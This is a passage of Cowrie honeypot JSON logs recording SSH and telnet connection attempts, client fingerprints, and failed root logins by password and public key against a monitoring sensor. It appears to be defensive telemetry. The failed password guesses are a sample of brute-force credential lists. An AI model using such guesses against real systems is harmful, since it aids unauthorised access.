istp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:20.451678Z","src_ip":"103.149.170.125","session":"5f5e670a694f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456asd","message":"login attempt [root/123456asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:21.539172Z","src_ip":"103.149.170.125","session":"5f5e670a694f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:22.800650Z","src_ip":"103.149.170.125","session":"5f5e670a694f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"467ef54f6a36","protocol":"telnet","message":"New connection: 152.42.224.71:41764 (10.17.0.5:23) [session: 467ef54f6a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:30.155302Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35898,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7450183a2da","protocol":"telnet","message":"New connection: 152.42.224.71:35898 (10.17.0.5:23) [session: d7450183a2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:37.247121Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d000363fcda2","protocol":"telnet","message":"New connection: 152.42.224.71:35126 (10.17.0.5:23) [session: d000363fcda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:43:47.885864Z"}
{"eventid":"cowrie.session.closed","duration":39.342761754989624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:09.497923Z","src_ip":"152.42.224.71","session":"467ef54f6a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.57579946517944,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:12.571048Z","src_ip":"152.42.224.71","session":"2b6d1812330c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.206491470336914,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:21.453516Z","src_ip":"152.42.224.71","session":"d7450183a2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0056209564209,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:28.843470Z","src_ip":"152.42.224.71","session":"ddd4e56789cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.01795697212219,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:30.903706Z","src_ip":"152.42.224.71","session":"d000363fcda2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c970840647","protocol":"telnet","message":"New connection: 152.42.224.71:40696 (10.17.0.5:23) [session: a3c970840647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:34.047489Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":36994,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea980376c6d","protocol":"ssh","message":"New connection: 171.244.201.80:36994 (10.17.0.5:22) [session: 9ea980376c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:37.670445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:37.679367Z","src_ip":"171.244.201.80","session":"9ea980376c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:37.924823Z","src_ip":"171.244.201.80","session":"9ea980376c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2072","message":"login attempt [root/2072] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:38.938564Z","src_ip":"171.244.201.80","session":"9ea980376c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:40.754525Z","src_ip":"171.244.201.80","session":"9ea980376c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"728c885eafb8","protocol":"telnet","message":"New connection: 152.42.224.71:41968 (10.17.0.5:23) [session: 728c885eafb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:44:57.236555Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.207.80","src_port":39804,"dst_ip":"159.203.135.109","dst_port":23,"session":"64b59175197f","protocol":"telnet","message":"New connection: 156.245.207.80:39804 (159.203.135.109:23) [session: 64b59175197f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:07.900319Z"}
{"eventid":"cowrie.session.closed","duration":12.054054975509644,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:09.290460Z","src_ip":"152.42.224.71","session":"728c885eafb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41842,"dst_ip":"10.17.0.5","dst_port":23,"session":"301a4b75ea73","protocol":"telnet","message":"New connection: 152.42.224.71:41842 (10.17.0.5:23) [session: 301a4b75ea73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:11.594327Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54188,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc30db14fb81","protocol":"ssh","message":"New connection: 87.251.79.125:54188 (159.203.135.109:22) [session: cc30db14fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:14.025184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:14.029873Z","src_ip":"87.251.79.125","session":"cc30db14fb81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:14.130334Z","src_ip":"87.251.79.125","session":"cc30db14fb81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:14.347415Z","src_ip":"87.251.79.125","session":"cc30db14fb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:15.421873Z","src_ip":"87.251.79.125","session":"cc30db14fb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.081637382507324,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:18.129008Z","src_ip":"152.42.224.71","session":"a3c970840647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47504,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff47396e600e","protocol":"telnet","message":"New connection: 152.42.224.71:47504 (10.17.0.5:23) [session: ff47396e600e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:19.470387Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":57952,"dst_ip":"10.17.0.5","dst_port":22,"session":"d621bbe3cf5d","protocol":"ssh","message":"New connection: 103.75.182.198:57952 (10.17.0.5:22) [session: d621bbe3cf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:33.913821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:33.918380Z","src_ip":"103.75.182.198","session":"d621bbe3cf5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:34.175943Z","src_ip":"103.75.182.198","session":"d621bbe3cf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2702na94","message":"login attempt [root/2702na94] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:34.958946Z","src_ip":"103.75.182.198","session":"d621bbe3cf5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:36.221204Z","src_ip":"103.75.182.198","session":"d621bbe3cf5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.107","src_port":7434,"dst_ip":"159.203.135.109","dst_port":23,"session":"927ad2e7ddc1","protocol":"telnet","message":"New connection: 64.62.197.107:7434 (159.203.135.109:23) [session: 927ad2e7ddc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:56.701382Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":52178,"dst_ip":"10.17.0.5","dst_port":22,"session":"f194c6800423","protocol":"ssh","message":"New connection: 37.59.115.172:52178 (10.17.0.5:22) [session: f194c6800423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:57.659728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:57.665226Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:57.768779Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:ed:03:c5:f4:e4:2e:95:b1:70:d2:aa:e3:6e:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfgbC5qST7K3x9iE2tbJRnrv/a8kcGIG1auQ/YjCiWcbk6h4p9GzSO/ZJmTGvaJh+7v9OIp5+Wtwfjw3Tr3TglmzOLsXkCIn7LuqRjTasUxpip9m9KayvpfqUvRTkS2DrFU0Ta4v6txs67j5GiDhY1mowYnTWqCVTPadXAxpBkbZGqkszS2nAZw3EpXcbrExxlqOGm54aiEvpSjvvcjbYczMssuO3mpCIvuQWTJoTlaUp2O5WFzNgf7sFC2fQwBb65IBfrxdfjF53EZtXX/SX5vFejs1t1rZSdaq78I0xvjj8SvCsDcTiWhJlqhWTEbYmDblm6ORDJdzaHFqWnRulF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:ed:03:c5:f4:e4:2e:95:b1:70:d2:aa:e3:6e:78:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.175099Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:ed:03:c5:f4:e4:2e:95:b1:70:d2:aa:e3:6e:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfgbC5qST7K3x9iE2tbJRnrv/a8kcGIG1auQ/YjCiWcbk6h4p9GzSO/ZJmTGvaJh+7v9OIp5+Wtwfjw3Tr3TglmzOLsXkCIn7LuqRjTasUxpip9m9KayvpfqUvRTkS2DrFU0Ta4v6txs67j5GiDhY1mowYnTWqCVTPadXAxpBkbZGqkszS2nAZw3EpXcbrExxlqOGm54aiEvpSjvvcjbYczMssuO3mpCIvuQWTJoTlaUp2O5WFzNgf7sFC2fQwBb65IBfrxdfjF53EZtXX/SX5vFejs1t1rZSdaq78I0xvjj8SvCsDcTiWhJlqhWTEbYmDblm6ORDJdzaHFqWnRulF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.178400Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:4e:4b:66:f7:9f:51:0b:ee:f4:30:4e:d3:8a:e5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxg+JVXXRNLPagnxoLWDcI5LsAnZRfWqK3nIBuOPjZwbDXr1++/a8F5I2kqeGbQrE6GIRGHNoO01BhINaAyIMMwm9KQfxZ9ryM6LDnEWyTKHat7XGhRb7s4x+ND+VYm6506Vx5ABtHmR7ljIeu46/RvmOJfn9d5S0qS5Ggqxql2+f11ohERqJPeLzWw25cqdGmZbGolqVEd2zyrTkRBV/hDIyLcshh5EmQaTxlTe67pUANGlDCrnO0WUwrKxhblTI/EuTxd8RR4r7HyPbaRQlbxdltrx80o+9iD1dZRTRT6SfLDUz3cWab2FTcF53bDV8WgGpH6HRvVj7s6Oo9GEVd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:4e:4b:66:f7:9f:51:0b:ee:f4:30:4e:d3:8a:e5:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.261552Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:4e:4b:66:f7:9f:51:0b:ee:f4:30:4e:d3:8a:e5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxg+JVXXRNLPagnxoLWDcI5LsAnZRfWqK3nIBuOPjZwbDXr1++/a8F5I2kqeGbQrE6GIRGHNoO01BhINaAyIMMwm9KQfxZ9ryM6LDnEWyTKHat7XGhRb7s4x+ND+VYm6506Vx5ABtHmR7ljIeu46/RvmOJfn9d5S0qS5Ggqxql2+f11ohERqJPeLzWw25cqdGmZbGolqVEd2zyrTkRBV/hDIyLcshh5EmQaTxlTe67pUANGlDCrnO0WUwrKxhblTI/EuTxd8RR4r7HyPbaRQlbxdltrx80o+9iD1dZRTRT6SfLDUz3cWab2FTcF53bDV8WgGpH6HRvVj7s6Oo9GEVd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.265291Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:24:cd:ca:b8:5e:f1:d1:a8:a7:56:59:d0:23:6d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsI436w49rBQz0emP7c0u8bbFf7G33kvPrjnPhhFlJG0ZmyJT9FKl00/hJ4RvJ26MqhOw9C0foETGGqLra3ffA1FlYPd5E4A2BzgybexEIkp0aYa18+/UilEDgmH572Ur/ntJDYmP1qtoBgxN2qPFDQbbJ+a4G2LIFEfsw/qjRk7VjZi+C3Sg4DN19dswC8qN9TVQcu3Jg2qWxj9ZN8VRFcFX3vkGRLStqwaGZIEpcBv4V3Lv7SzuzZkSFjFgSpDneuKwehrC8y+iF5pb1ZqueFKdnOliC2PlsUBsTmnEPSFHE3UKpG73MiuT/LP5Jv6pBMq8bbbdZr4sIWZaxUE9UQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:24:cd:ca:b8:5e:f1:d1:a8:a7:56:59:d0:23:6d:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.351088Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:24:cd:ca:b8:5e:f1:d1:a8:a7:56:59:d0:23:6d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsI436w49rBQz0emP7c0u8bbFf7G33kvPrjnPhhFlJG0ZmyJT9FKl00/hJ4RvJ26MqhOw9C0foETGGqLra3ffA1FlYPd5E4A2BzgybexEIkp0aYa18+/UilEDgmH572Ur/ntJDYmP1qtoBgxN2qPFDQbbJ+a4G2LIFEfsw/qjRk7VjZi+C3Sg4DN19dswC8qN9TVQcu3Jg2qWxj9ZN8VRFcFX3vkGRLStqwaGZIEpcBv4V3Lv7SzuzZkSFjFgSpDneuKwehrC8y+iF5pb1ZqueFKdnOliC2PlsUBsTmnEPSFHE3UKpG73MiuT/LP5Jv6pBMq8bbbdZr4sIWZaxUE9UQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:45:58.354625Z","src_ip":"37.59.115.172","session":"f194c6800423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:56:e0:9e:a0:6b:1a:ee:7b:18:86:dd:35:59:93:cf","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANb+eNd108GZmlE7VK9RMSr4mfM/EZW3zgfioTmvxConQ+cixDlY6Aii4CdIVIAng1C04nM5ReHyYUJH6Epv5PFaxeX5V6hg6+adPUpTBxGGILNsptk4XTyOCPkteQ5Ep/YoXivgXs6WC8Kry4ruo8u04KeLpscsKDMP8tZHe2HNAAAAFQDEo9qPziQHg09l9PKOAJSgoHpQ3wAAAIEArbQVP0NOMBQtpVsmDK2+89Dn+fZ8s7PL3/CfMvoCbJqoo+/SUxchzcqP4jaaaygaFm391MQ0h/J/ep79Bt4fqZmFmlmlw0/2HUyaXP1dB2jpBzcGUcFIyU5eOucMHIYYyc5PSAllqMIBeu2R/B33WavmlpwK0Pg8rNjtVjUVld0AAACAT3B4FLwuevrW/NgYKh25nTDGElxD6Ef3uV3+TmK7uysXRrXnACd4ZJcQCFB9r5FzE5dcMUMilxl0qHij9ZS53S4N5G+K+OQl7EFmkX8SfsOawW9MdZHBPDehH+J2UOcvgRyoig//ybLnAug7hEi44xKY9uC7RT+P/vNWSMV0IVY=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 